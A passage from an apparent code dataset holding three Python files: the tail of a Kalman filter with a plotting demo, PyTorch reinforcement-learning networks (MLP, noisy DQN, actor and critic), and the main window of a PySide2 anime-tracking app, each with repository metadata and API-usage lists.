def __init__(self, F = None, B = None, H = None, Q = None, R = None, P = None, x0 = None):\n\n if(F is None or H is None):\n raise ValueError(\"Set proper system dynamics.\")\n\n self.n = F.shape[1]\n self.m = H.shape[1]\n #State-transition model\n self.F = F\n #Observation model\n self.H = H\n #Control-input model which is applied to the control vector u\n self.B = 0 if B is None else B\n #Covariance of the process noise\n self.Q = np.eye(self.n) if Q is None else Q\n #Covariance of the observation noise\n self.R = np.eye(self.n) if R is None else R\n #Predicted error convariance\n self.P = np.eye(self.n) if P is None else P\n #State predicted \n self.x = np.zeros((self.n, 1)) if x0 is None else x0\n\n def predict(self, u = 0):\n #Predicted (a priori) state estimate x(heat)=F*x(heat)+B*u\n self.x = np.dot(self.F, self.x) + np.dot(self.B, u)\n #Predicted (a priori) error covariance P= FxPxF(trasposed)+Q\n self.P = np.dot(np.dot(self.F, self.P), self.F.T) + self.Q\n return self.x\n\n def update(self, z):\n #y = z - Hx\n y = z - np.dot(self.H, self.x)\n #S = R + H*P*H(traposed)\n S = self.R + np.dot(self.H, np.dot(self.P, self.H.T))\n #K = P*H(transposed) * S^-1\n K = np.dot(np.dot(self.P, self.H.T), np.linalg.inv(S))\n self.x = self.x + np.dot(K, y)\n I = np.eye(self.n)\n #P = ((I-K*H)*P)*(I-K*H)(transposed) + K*R*K(transposed)\n self.P = np.dot(np.dot(I - np.dot(K, self.H), self.P), \n \t(I - np.dot(K, self.H)).T) + np.dot(np.dot(K, self.R), K.T)\n\n def predicted_state(self, u=0):\n return np.dot(self.H, self.predict(u))\n\ndef example():\n dt = 1.0/60\n F = np.array([[1, dt, 0], [0, 1, dt], [0, 0, 1]])\n H = np.array([1, 0, 0]).reshape(1, 3)\n Q = np.array([[0.05, 0.05, 0.0], [0.05, 0.05, 0.0], [0.0, 0.0, 0.0]])\n R = np.array([0.5]).reshape(1, 1)\n\n x = np.linspace(-10, 10, 100)\n measurements = - (x**2 + 2*x - 2) + np.random.normal(0, 2, 100)\n\n kf = KalmanFilter(F = F, H = H, Q = Q, R = R)\n predictions = []\n\n for z in measurements:\n predictions.append(kf.predicted_state()[0])\n kf.update(z)\n\n import matplotlib.pyplot as plt\n plt.plot(range(len(measurements)), measurements, label = 'Measurements')\n plt.plot(range(len(predictions)), np.array(predictions), label = 'Kalman Filter Prediction')\n plt.legend()\n plt.show()\n\nif __name__ == '__main__':\n example()\n", "repo_name": "ilgaiaz/sonarQt", "sub_path": "sonar/kalmanpy.py", "file_name": "kalmanpy.py", "file_ext": "py", "file_size_in_byte": 2614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.eye", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.linalg.inv", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random.normal", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 57, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}]} {"seq_id": "8679833335", "text": "#!/usr/bin/env python\n# coding=utf-8\n'''\nAuthor: John\nEmail: johnjim0816@gmail.com\nDate: 2021-03-12 21:14:12\nLastEditor: John\nLastEditTime: 2021-03-31 13:49:06\nDiscription: \nEnvironment: \n'''\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.distributions import Categorical\nimport math\n\nclass MLP(nn.Module):\n def __init__(self, input_dim,output_dim,hidden_dim=128):\n \"\"\" 初始化q网络，为全连接网络\n input_dim: 输入的feature即环境的state数目\n output_dim: 输出的action总个数\n \"\"\"\n super(MLP, self).__init__()\n self.fc1 = nn.Linear(input_dim, hidden_dim) # 输入层\n self.fc2 = nn.Linear(hidden_dim,hidden_dim) # 隐藏层\n self.fc3 = nn.Linear(hidden_dim, output_dim) # 输出层\n \n def forward(self, x):\n # 各层对应的激活函数\n x = F.relu(self.fc1(x)) \n x = F.relu(self.fc2(x))\n return self.fc3(x)\n\n\nclass NoisyLinear(nn.Module):\n def __init__(self, in_features, out_features, std_init=0.4):\n super(NoisyLinear, self).__init__()\n\n self.in_features = in_features\n self.out_features = out_features\n self.std_init = std_init\n\n self.weight_mu = nn.Parameter(torch.FloatTensor(out_features, in_features))\n self.weight_sigma = nn.Parameter(torch.FloatTensor(out_features, in_features))\n self.register_buffer('weight_epsilon', torch.FloatTensor(out_features, in_features))\n\n self.bias_mu = nn.Parameter(torch.FloatTensor(out_features))\n self.bias_sigma = nn.Parameter(torch.FloatTensor(out_features))\n self.register_buffer('bias_epsilon', torch.FloatTensor(out_features))\n\n self.reset_parameters()\n self.reset_noise()\n\n def forward(self, x):\n if self.training:\n weight = self.weight_mu + self.weight_sigma.mul(self.weight_epsilon)\n bias = self.bias_mu + self.bias_sigma.mul(self.bias_epsilon)\n else:\n weight = self.weight_mu\n bias = self.bias_mu\n\n return F.linear(x, weight, bias)\n\n def reset_parameters(self):\n mu_range = 1 / math.sqrt(self.weight_mu.size(1))\n\n self.weight_mu.data.uniform_(-mu_range, mu_range)\n self.weight_sigma.data.fill_(self.std_init / math.sqrt(self.weight_sigma.size(1)))\n\n self.bias_mu.data.uniform_(-mu_range, mu_range)\n self.bias_sigma.data.fill_(self.std_init / math.sqrt(self.bias_sigma.size(0)))\n\n def reset_noise(self):\n epsilon_in = self._scale_noise(self.in_features)\n epsilon_out = self._scale_noise(self.out_features)\n\n self.weight_epsilon.copy_(epsilon_out.ger(epsilon_in))\n self.bias_epsilon.copy_(self._scale_noise(self.out_features))\n\n def _scale_noise(self, size):\n x = torch.randn(size)\n x = x.sign().mul(x.abs().sqrt())\n return x\n\n\nclass NoisyDQN(nn.Module):\n def __init__(self, num_inputs, num_actions):\n super(NoisyDQN, self).__init__()\n\n self.linear = nn.Linear(num_inputs, 256)\n self.noisy1 = NoisyLinear(256, 256)\n self.noisy2 = NoisyLinear(256, num_actions)\n\n def forward(self, x):\n x = F.relu(self.linear(x))\n x = F.relu(self.noisy1(x))\n x = self.noisy2(x)\n return x\n\n def act(self, state):\n with torch.no_grad():\n state = torch.tensor([state], device=\"cpu\", dtype=torch.float32)\n q_value = self.forward(state)\n action = q_value.max(1)[1].item()\n return action\n\n def reset_noise(self):\n self.noisy1.reset_noise()\n self.noisy2.reset_noise()\n\n# class ActorCritic(nn.Module):\n# def __init__(self, input_dim, output_dim, hidden_dim):\n# super(ActorCritic, self).__init__()\n# self.critic = nn.Sequential(\n# nn.Linear(input_dim, hidden_dim),\n# nn.ReLU(),\n# nn.Linear(hidden_dim, 1)\n# )\n#\n# self.actor = nn.Sequential(\n# nn.Linear(input_dim, hidden_dim),\n# nn.ReLU(),\n# nn.Linear(hidden_dim, output_dim),\n# # 使得在softmax操作之后在dim这个维度相加等于1\n# # 注意，默认的方法已经弃用，最好在使用的时候声明dim\n# nn.Softmax()\n# )\n#\n# def forward(self, x):\n# # critic: evaluates value in the state s_t\n# value = self.critic(x)\n# # actor: choses action to take from state s_t\n# # by returning probability of each action\n# probs = self.actor(x)\n#\n# # 分类,对actor输出的动作概率进行分类统计\n# # create a categorical distribution over the list of probabilities of actions\n# dist = Categorical(probs)\n#\n# # return values for both actor and critic as a tuple of 2 values:\n# # 1(action prob). a list with the probability of each action over the action space\n# # 2(state value). the value from state s_t\n# return dist, value\n\nclass actor(nn.Module): # policy net\n # actor: choses action to take from state s_t\n # by returning probability of each action\n def __init__(self, input_dim, output_dim, hidden_dim):\n super(actor, self).__init__()\n self.fc1 = nn.Linear(input_dim, hidden_dim)\n self.fc2 = nn.Linear(hidden_dim, output_dim)\n self.softmax = nn.Softmax(dim=0)\n\n def forward(self, x):\n x = self.fc1(x)\n x = F.relu(x)\n x = self.fc2(x)\n prob = self.softmax(x)\n # 分类,对actor输出的动作概率进行分类统计\n # create a categorical distribution over the list of probabilities of actions\n dist = Categorical(prob)\n return dist\n\nclass critic(nn.Module): # Q net:evaluates value in the state s_t\n def __init__(self, input_dim, output_dim, hidden_dim):\n super(critic, self).__init__()\n self.fc1 = nn.Linear(input_dim, hidden_dim)\n self.fc2 = nn.Linear(hidden_dim, output_dim)\n\n def forward(self, x):\n x = self.fc1(x)\n x = F.relu(x)\n x = self.fc2(x)\n return x\n\nclass baseline_net(nn.Module):\n def __init__(self, input_dim, output_dim, hidden_dim):\n super(baseline_net,self).__init__()\n self.fc1=nn.Linear(input_dim, hidden_dim)\n self.fc2=nn.Linear(hidden_dim, output_dim)\n def forward(self,x):\n x=self.fc1(x)\n x=F.relu(x)\n out=self.fc2(x)\n return out", "repo_name": "caimingxue/Reinforcement-Learning-Pytorch", "sub_path": "common/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 6441, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 45, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 48, "usage_type": "call"}, {"api_name": "torch.nn.Parameter", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "name"}, {"api_name": "torch.FloatTensor", "line_number": 49, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn.functional.linear", "line_number": 63, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 63, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 66, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 69, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 87, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 87, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 91, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 91, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 96, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 97, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 97, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 146, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 151, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 151, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 152, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 152, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 153, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 153, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 157, "usage_type": "name"}, {"api_name": "torch.distributions.Categorical", "line_number": 162, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 165, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 165, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 168, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 168, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 169, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 173, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 177, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 180, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 181, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 184, "usage_type": "name"}]} {"seq_id": "42266355489", "text": "from __future__ import annotations\n\nimport functools\nimport sys\nfrom typing import Dict, List, Optional, Union\n\nfrom PySide2.QtCore import * # type: ignore\nfrom PySide2.QtCore import __file__ as QTCoreFile\nfrom PySide2.QtGui import * # type: ignore\nfrom PySide2.QtWidgets import * # type: ignore\n\nfrom anitracker import logger\nfrom anitracker.anitracker import AniTracker\nfrom anitracker.background import *\nfrom anitracker.media import Anime, AnimeCollection\nfrom anitracker.signals import SignalConnector, MouseFilter\nfrom anitracker.ui import Ui_AnimeApp, Ui_AnimeInfo\nfrom anitracker.utilities import UserStatus\n\n\nclass MainWindow(QMainWindow):\n update_ui_signal = Signal(functools.partial)\n insert_row_signal = Signal(QTableWidget, Anime)\n update_row_signal = Signal(QTableWidget, int, Anime)\n reload_anime_eps = Signal()\n update_anilist_label = Signal(str)\n update_label = Signal()\n handle_anime_updates = Signal()\n nyaa_results = Signal(list)\n add_episodes_to_widget = Signal(list, AnimeCollection)\n\n # Setup stuff\n def __init__(self, qapp: QApplication):\n super().__init__()\n self._qapp = qapp\n self._showing_episodes = False\n self.setup()\n self.setup_threads()\n self.setup_tables()\n self.connect_signals()\n\n def setup(self):\n self.ui = Ui_AnimeApp()\n # The central app\n self.app = AniTracker()\n # Where all the signals lay\n self.signals = SignalConnector(self)\n # A list of the status helpers\n self.statuses: List[StatusHelper] = []\n # A dict of the headers to whether they're enabled by default\n # TODO: Figure out how to make the header not go away when all columns are hidden\n self._header_labels = {\n \"progress\": True,\n \"id\": False,\n \"user_status\": False,\n \"score\": False,\n \"repeat\": False,\n \"updated_at\": False,\n \"romaji_title\": False,\n \"english_title\": False,\n \"native_title\": False,\n \"preferred_title\": True,\n \"anime_status\": False,\n \"description\": False,\n \"start_date\": False,\n \"end_date\": False,\n \"anime_start_date\": False,\n \"anime_end_date\": False,\n \"episode_count\": True,\n \"average_score\": True,\n }\n # Setup the app UI\n self.ui.setupUi(self)\n\n # Add the filter line edit to the right of the tool box\n self.filter_anime = QLineEdit()\n self.filter_anime.setPlaceholderText(\"Filter anime\")\n self.filter_anime.setStyleSheet(\n \"\"\"\n margin-left: 500px;\n \"\"\"\n )\n self.ui.toolBar.addWidget(self.filter_anime)\n # Ensure the pages/page chooser is set to the first index\n self.ui.AnimePages.setCurrentIndex(0)\n self.ui.AnimeListChooser.setCurrentRow(0)\n\n def setup_threads(self):\n # Setup background stuff\n self.threadpool = QThreadPool()\n self._threads_to_terminate: List[BackgroundThread] = []\n # This will trigger the status label update\n self.status_update_worker = BackgroundThread(status_label, self)\n # Used for searching files in the background\n self.update_worker = BackgroundThread(refresh_folder, self)\n # This'll be the loop that automatically does so every 2 minutes\n self._update_anime_files_loop = BackgroundThread(\n refresh_folder, self, loop_forever=True\n )\n # Connecting to anilist\n self.anilist_connector = BackgroundThread(connect_to_anilist, self)\n # Anime updates\n self.anime_updater = BackgroundThread(update_from_anilist, self)\n # Will check for update in the background\n self.update_checker = BackgroundThread(try_update, self)\n\n # Add them all to the termintable threads\n self.status_update_worker.setTerminationEnabled(True)\n self.update_worker.setTerminationEnabled(True)\n self._update_anime_files_loop.setTerminationEnabled(True)\n self.anilist_connector.setTerminationEnabled(True)\n self.anime_updater.setTerminationEnabled(True)\n self.update_checker.setTerminationEnabled(True)\n self._threads_to_terminate.append(self.status_update_worker)\n self._threads_to_terminate.append(self.update_worker)\n self._threads_to_terminate.append(self._update_anime_files_loop)\n self._threads_to_terminate.append(self.anilist_connector)\n self._threads_to_terminate.append(self.anime_updater)\n self._threads_to_terminate.append(self.update_checker)\n\n # Start a few things in the background\n self._update_anime_files_loop.start()\n self.anilist_connector.start()\n self.status_update_worker.start()\n\n def setup_tables(self):\n def default_table_setup(_table: QTableWidget, _headers: Dict):\n # Create a menu per table\n menu = _table.menu = QMenu(self.ui.AnimeListTab) # type: ignore\n menu.setStyleSheet(\"QMenu::item:selected {background-color: #007fd4}\")\n menu.triggered.connect(functools.partial(self.signals.header_changed, _table)) # type: ignore\n # Set the custom context menu on the *header*, this is how\n # we switch which columns are visible\n _table.horizontalHeader().setContextMenuPolicy(\n Qt.ContextMenuPolicy.CustomContextMenu\n )\n # Connect it to the modifying of the _table\n _table.horizontalHeader().customContextMenuRequested.connect( # type: ignore\n functools.partial(self.signals.open_header_menu, _table)\n )\n _table.horizontalHeader().setMinimumSectionSize(50)\n # Now set the custom context menu on the _table itself\n _table.setContextMenuPolicy(Qt.ContextMenuPolicy.CustomContextMenu)\n _table.customContextMenuRequested.connect( # type: ignore\n functools.partial(self.signals.open_anime_context_menu, _table)\n )\n _table.viewport().installEventFilter(MouseFilter(_table, self))\n _table.itemClicked.connect(self.signals.anime_clicked) # type: ignore\n _table.horizontalHeader().sectionResized.connect( # type: ignore\n functools.partial(self.signals.resized_column, _table)\n )\n\n headers = []\n\n for title, enabled in _headers.items():\n # Get the pretty title for the action menu\n pretty_title = title.lower().replace(\"_\", \" \").title()\n headers.append(pretty_title)\n # Create the action menu entry\n action = QAction(pretty_title, _table.horizontalHeader())\n # Set them as checkable\n action.setCheckable(True)\n # Add column to _table\n _table.insertColumn(_table.columnCount())\n index = _table.columnCount() - 1\n # If it's enabled, set action as true and don't hide row\n if enabled:\n action.setChecked(True)\n _table.setColumnHidden(index, False)\n else:\n _table.setColumnHidden(index, True)\n\n menu.addAction(action)\n\n # Resize header\n size = self.app._config.get_option(\n str(index), section=_table.objectName()\n )\n if size is not None:\n _table.setColumnWidth(index, int(size))\n\n # Setting headers has to come after\n _table.setHorizontalHeaderLabels(headers)\n\n user_settings = [\n \"user_status\",\n \"score\",\n \"progress\",\n \"repeat\",\n \"updated_at\",\n \"start_date\",\n \"end_date\",\n ]\n _anilist_search_headers = {\n k: v\n for k, v in self.get_headers(self.ui.AnilistSearchResults).items()\n if k not in user_settings\n }\n\n default_table_setup(self.ui.AnilistSearchResults, _anilist_search_headers)\n # https://bugreports.qt.io/browse/QTBUG-12889\n # Asanine\n self.ui.AnilistSearchResults.horizontalHeader().setVisible(True)\n self.ui.NyaaSearchResults.horizontalHeader().setVisible(True)\n\n for table in self.tables:\n headers = self.get_headers(table)\n default_table_setup(table, headers)\n\n # Nyaa search setup is a little different\n nyaa = self.ui.NyaaSearchResults\n headers = self.get_headers(\n nyaa,\n _headers={\n \"title\": True,\n \"size\": True,\n \"date\": True,\n \"seeders\": True,\n \"leechers\": True,\n \"downloads\": True,\n },\n )\n default_table_setup(nyaa, headers)\n\n def connect_signals(self):\n self.insert_row_signal.connect(self.signals.insert_row) # type: ignore\n self.update_row_signal.connect(self.signals.update_row) # type: ignore\n self.filter_anime.textChanged.connect(self.signals.filter_row) # type: ignore\n self.update_label.connect(self.signals.update_status) # type: ignore\n self.reload_anime_eps.connect(self.signals.handle_anime_updates) # type: ignore\n self.update_ui_signal.connect(self.signals.handle_ui_update) # type: ignore\n self.handle_anime_updates.connect(self.signals.handle_anime_updates) # type: ignore\n self.add_episodes_to_widget.connect(self.signals.add_episodes_to_episode_list) # type: ignore\n self.ui.AnilistSearchButton.clicked.connect(self.signals.search_anilist) # type: ignore\n self.ui.NyaaSearchButton.clicked.connect(self.signals.search_nyaa) # type: ignore\n self.ui.AnimeListChooser.currentRowChanged.connect(self.signals.change_page) # type: ignore\n self.ui.actionSettings.triggered.connect(self.signals.open_settings) # type: ignore\n self.ui.actionRefresh.triggered.connect(self.anime_updater.start) # type: ignore\n self.ui.actionReload_Videos.triggered.connect(self.update_worker.start) # type: ignore\n self.ui.actionAbout.triggered.connect(self.signals.open_about) # type: ignore\n self.ui.actionReport_bug.triggered.connect(self.signals.open_issue_tracker) # type: ignore\n self.ui.actionSource_code.triggered.connect(self.signals.open_repo) # type: ignore\n self.ui.actionUpdateCheck.triggered.connect(self.update_checker.start) # type: ignore\n\n def stop_threads(self):\n for thread in self._threads_to_terminate:\n if thread.isRunning():\n thread.terminate()\n thread.wait()\n\n # Misc methods\n @property\n def pretty_headers(self) -> List[str]:\n return [x.replace(\"_\", \" \").title() for x in self._header_labels.keys()]\n\n @property\n def tables(self) -> List[QTableWidget]:\n return [\n self.ui.CompletedTable,\n self.ui.WatchingTable,\n self.ui.PlanningTable,\n self.ui.DroppedTable,\n self.ui.PausedTable,\n ]\n\n def hide_episode_list(self):\n if self._showing_episodes:\n self.setFixedSize(*self._orig_size) # type: ignore\n self._showing_episodes = False\n\n def show_episode_list(self):\n if not self._showing_episodes:\n self.setFixedSize(*self._with_eps) # type: ignore\n self._showing_episodes = True\n\n def get_table(self, status: UserStatus) -> QTableWidget:\n if status is UserStatus.COMPLETED:\n return self.ui.CompletedTable\n elif status in (UserStatus.CURRENT, UserStatus.REPEATING):\n return self.ui.WatchingTable\n elif status is UserStatus.PLANNING:\n return self.ui.PlanningTable\n elif status is UserStatus.DROPPED:\n return self.ui.DroppedTable\n elif status is UserStatus.PAUSED:\n return self.ui.PausedTable\n\n raise TypeError(f\"Cannot find table for {status}\")\n\n def get_headers(\n self,\n table: QTableWidget,\n *,\n _headers: Optional[Dict[str, bool]] = None,\n ) -> Dict[str, bool]:\n \"\"\"Returns the headers specified for this table\"\"\"\n headers: Dict[str, bool] = {}\n\n if _headers is None:\n _headers = self._header_labels\n\n # Loop through defaults\n for header, default in _headers.items():\n # Get override from config\n opt = self.app._config.get_option(header, section=table.objectName())\n if opt is None:\n opt = default\n\n headers[header] = opt\n\n return headers\n\n def open_anime_settings(self, anime: Union[Anime, AnimeCollection]):\n # Anime settings stuff\n m = self.anime_menu = QTabWidget()\n s = self.anime_window = Ui_AnimeInfo()\n self.anime_window.setupUi(self.anime_menu)\n # Bro why is this modifable in the designer? Stupid\n s.AnimeUpdateSuccess.setVisible(False)\n\n # Pull up anime info\n s.AnimeTitleLabel.setText(\"\\n\".join(t for t in anime.titles if t))\n s.AnimeDescriptionLabel.setText(anime.description)\n s.AnimeGenresLabel.setText(\"\\n\".join(anime.genres))\n tags = sorted(anime.tags, key=lambda t: t[1], reverse=True)\n tagfmt = \"\\n\".join(f\"{tag[0]} {tag[1]}%\" for tag in tags)\n s.AnimeTagsLabel.setText(tagfmt)\n s.AnimeStudioLabel.setText(anime.studio)\n s.AnimeSeasonLabel.setText(anime.season)\n s.AnimeAverageScoreLabel.setText(f\"{anime.average_score}%\")\n s.AnimeEpisodesLabel.setText(str(anime.episode_count))\n if isinstance(anime, AnimeCollection):\n s.AnimeNotes.setText(anime.notes)\n s.AnimeUserScore.setValue(anime.score)\n s.AnimeUpdateButton.clicked.connect( # type: ignore\n functools.partial(self.signals.update_anime_from_settings, anime)\n )\n else:\n s.AnimeNotesLabel.setVisible(False)\n s.AnimeUserScoreLabel.setVisible(False)\n s.AnimeUserScore.setVisible(False)\n s.AnimeNotes.setVisible(False)\n s.AnimeUpdateButton.setVisible(False)\n m.setFixedSize(m.size())\n\n m.show()\n\n\n# Attach uncaught exceptions, so they can be logged\ndef handle_exception(exc_type, exc_value, exc_traceback):\n if issubclass(exc_type, KeyboardInterrupt):\n sys.__excepthook__(exc_type, exc_value, exc_traceback)\n return\n\n logger.error(\"Uncaught exception\", exc_info=(exc_type, exc_value, exc_traceback))\n\n\nsys.excepthook = handle_exception\n\n\ndef main():\n app = QApplication(sys.argv)\n\n window = MainWindow(app)\n window.setFixedSize(window.size())\n window.show()\n window._orig_size = (window.width(), window.height()) # type: ignore\n window._with_eps = (window.width() + 310, window.height()) # type: ignore\n\n ret = app.exec_()\n window.stop_threads()\n sys.exit(ret)\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Phxntxm/AniTracker", "sub_path": "anitracker/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 15125, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "functools.partial", "line_number": 22, "usage_type": "attribute"}, {"api_name": "anitracker.media.Anime", "line_number": 23, "usage_type": "argument"}, {"api_name": "anitracker.media.Anime", "line_number": 24, "usage_type": "argument"}, {"api_name": "anitracker.media.AnimeCollection", "line_number": 30, "usage_type": "argument"}, {"api_name": "anitracker.ui.Ui_AnimeApp", "line_number": 43, "usage_type": "call"}, {"api_name": "anitracker.anitracker.AniTracker", "line_number": 45, "usage_type": "call"}, {"api_name": "anitracker.signals.SignalConnector", "line_number": 47, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 91, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 127, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 131, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 139, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 145, "usage_type": "call"}, {"api_name": "anitracker.signals.MouseFilter", "line_number": 147, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 150, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 253, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 257, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 276, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.COMPLETED", "line_number": 277, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 277, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.CURRENT", "line_number": 279, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 279, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.REPEATING", "line_number": 279, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus.PLANNING", "line_number": 281, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 281, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.DROPPED", "line_number": 283, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 283, "usage_type": "name"}, {"api_name": "anitracker.utilities.UserStatus.PAUSED", "line_number": 285, "usage_type": "attribute"}, {"api_name": "anitracker.utilities.UserStatus", "line_number": 285, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 294, "usage_type": "name"}, {"api_name": "typing.Dict", 